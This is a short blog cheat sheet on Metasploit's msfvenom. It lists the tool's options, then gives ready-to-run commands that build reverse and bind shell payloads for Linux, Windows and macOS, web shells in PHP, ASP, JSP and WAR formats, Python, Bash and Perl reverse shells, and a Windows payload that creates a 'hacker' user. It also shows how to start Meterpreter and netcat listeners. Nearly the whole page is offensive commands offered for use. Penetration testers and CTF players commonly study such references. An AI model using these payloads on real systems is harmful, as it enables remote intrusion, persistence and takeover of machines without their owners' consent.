Msfvenom Cheat Sheet

1 minute read

Msfvenom (replaced the former msfpayload and msfencode tools) and is a tool that can be used to generate payloads as standaline files and encode them if needed. Everybody likes shells, right?

Usage

```
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
    -f, --format        <format>     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder       <encoder>    The encoder to use
    -a, --arch          <arch>       The architecture to use
        --platform      <platform>   The platform of the payload
        --help-platforms             List available platforms
    -s, --space         <length>     The maximum size of the resulting payload
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
    -i, --iterations    <count>      The number of times to encode the payload
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out           <path>       Save the payload
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message
```

Basic Commands

List available payloads

```
msfvenom -l
```

Encoding Payloads

```
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
```

Handler Setup

Meterpreter

```
msfconsole -q
```

```
use exploit/multi/handler
```

```
set PAYLOAD <PAYLOAD>
```

```
set LHOST <IP>
```

```
set LPORT <IP>
```

```
set ExitOnSession false
```

```
exploit -j -z
```

Netcat

```
nc -nlvp <PORT>
```

Linux

Reverse Shell

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
```

Bind Shell

```
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<IP> LPORT=<PORT> -f elf > shell.elf
```

Windows

Reverse Shell

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
```

Bind Shell

```
msfvenom -p windows/meterpreter/bind_tcp RHOST= <IP> LPORT=<PORT> -f exe > shell.exe
```

CMD Shell

```
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
```

User Creation

```
msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe
```

Mac

Reverse Shell

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > shell.macho
```

Bind Shell

```
msfvenom -p osx/x86/shell_bind_tcp RHOST=<IP> LPORT=<PORT> -f macho > shell.macho
```

Web Payloads

PHP

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
```

```
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```

ASP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
```

JSP

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
```

WAR

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
```

Scripting Payloads

Python

```
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > shell.py
```

Bash

```
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh
```

Perl

```
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > shell.pl
```

Tags: Msfvenom (http://thor-sec.com/tags/#msfvenom)

Categories: Cheatsheet (http://thor-sec.com/categories/#cheatsheet)

Updated: July 17, 2017

LEAVE A COMMENT

Your email address will not be published. Required fields are marked *

Comment *

Markdown is supported. (https://daringfireball.net/projects/markdown/)